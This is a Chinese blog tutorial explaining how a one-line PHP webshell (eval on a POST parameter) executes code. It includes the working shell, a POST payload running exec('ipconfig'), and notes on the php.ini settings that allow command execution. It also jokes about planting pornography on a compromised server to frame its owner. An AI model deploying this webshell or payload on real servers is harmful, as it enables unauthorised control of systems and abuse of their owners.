一句话木马(webshell)是如何执行命令的

简介:

     

在很多的渗透过程中,渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是如何执行的呢,下面我们就对webshell进行一个简单的分析。


首先我们先看一个原始而又简单的php一句话木马。

<?php @eval($_POST['cmd']); ?>

看到这里不得不赞美前辈的智慧。


对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。


这句话什么意思呢?

php的代码要写在<?php  ?>里面,服务器才能认出来这是php代码,然后才去解析。

@符号的意思是不报错。

例如:

1
2
3
<?php
eval ($_POST[cmd]);
?>

如果没有@,如下图,就会报错

wKioL1lDPU6wkqlpAAFTGLvgyDI589.png-wh_50


为什么呢?

因为一个变量没有定义,就被拿去使用了,

服务器就善意的提醒:Notice,你的xxx变量没有定义。

这不就暴露了密码吗?

所以加上@

为什么pw是密码呢?


那就要来理解这句话的意思了

php里面几个超全局变量

$_GET、$_POST就是其中之一

$_POST['a'];

意思就是a这个变量,用post的方法接收。

(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2))

eval()

把字符串作为PHP代码执行

例如:eval("echo 'a'");其实就等于直接 echo 'a';

再来看看<?php eval($_POST['pw']); ?>

首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';

这时代码就变成<?php eval("echo 'a';"); ?>

结果:

wKioL1lDPYHheDqUAACKGr0cbR0209.png-wh_50


连起来意思就是:

用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行

所以也就能这么玩:


也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马

你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等

想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好

你想执行cmd命令,则用exec()

当然前提是:

php配置文件php.ini里,关掉安全模式safe_mode = off,

然后在看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec。

(有些cms为了方便处理某些功能,会去掉的)

看看效果:

POST代码如下:

1
2
3
4
5
cmd=header( "Content-type:text/html;charset=gbk" );
exec ( "ipconfig" ,$out);
echo  '<pre>' ;
print_r($out);
echo  '</pre>' ;

wKioL1lDPauzQBUkAAEhsqpAJK4196.png-wh_50


在这里我们可以看到系统直接执行了系统命令,

SO,大家现在应该理解,为什么说一句话短小精悍了吧!


我们在看一下一句话在菜刀之类的webshell管理工具里面是如何一句话是如何执行的

其实在webshell管理工具里面,已经集成好了所有可以执行的系统命令,我们只需要输入ifconfig、ipconfig、whoami、net user 等系统命令,就可以获得对应的系统信息。


wKioL1lDPeOjV78oAAEFI0QJX-M137.jpg-wh_50


其实可以很明显看明白,其实执行的命令就和我们前面写的哪样进行输入输出,执行系统命令操作。

所以只要webshell有足够高的权限,可以做任何你想做的事情。




     本文转自Tar0 51CTO博客,原文链接:http://blog.51cto.com/tar0cissp/1937364,如需转载请自行联系原作者



相关文章
|
供应链 中间件
哥斯拉内存马/Suo5内存代理插件
哥斯拉内存马/Suo5内存代理插件
1667 0
|
Shell 网络安全
[网络安全]upload-labs Pass-13 解题详析
[网络安全]upload-labs Pass-13 解题详析
353 0
|
Shell PHP Windows
来自红队大佬的经验之谈---命令执行过滤绕过-Windows篇
感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,如何利用windowsit特性进行绕过
|
开发框架 安全 .NET
Web安全-一句话木马
Web安全-一句话木马
946 5
|
设计模式 安全 JavaScript
jQuery-1.7.2 版本任意文件下载漏洞复现
jQuery-1.7.2 版本存在任意文件读取漏洞,攻击者可通过特定URL地址访问并获取敏感信息。
1170 1
|
安全 关系型数据库 网络安全
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
|
数据采集 数据挖掘 API
如何有效利用API接口进行数据采集
在当今数字化的世界中,API(应用程序编程接口)作为数据交换的桥梁,对于电商企业来说尤为重要。它们允许企业从丰富的数据源中提取必要的信息,为商业决策提供数据支持。本文将围绕如何高效地利用API进行数据采集展开讨论,并提供一些实用的代码示例。
|
SQL 安全 数据可视化
Apache Superset 未授权访问漏洞(CVE-2023-27524)
Apache Superset 存在未授权访问漏洞,攻击者可利用该漏洞验证和访问未经授权的资源。
587 1
|
存储 运维 搜索推荐
如何在千亿行规模的表中快速检索数据
小数据量的数据可以用 MySQL 存储和查询,但是数据量变多后,比如超过 2000万,甚至超过200亿后数据该选择哪个系统才能实现存储和查询两不误?这篇文章会介绍如何存储千亿行数据,以及如何在其实进行查询,而且这些都是在一个系统里面就能做到。
3313 118
如何在千亿行规模的表中快速检索数据
|
网络协议 测试技术 网络安全

热门文章

最新文章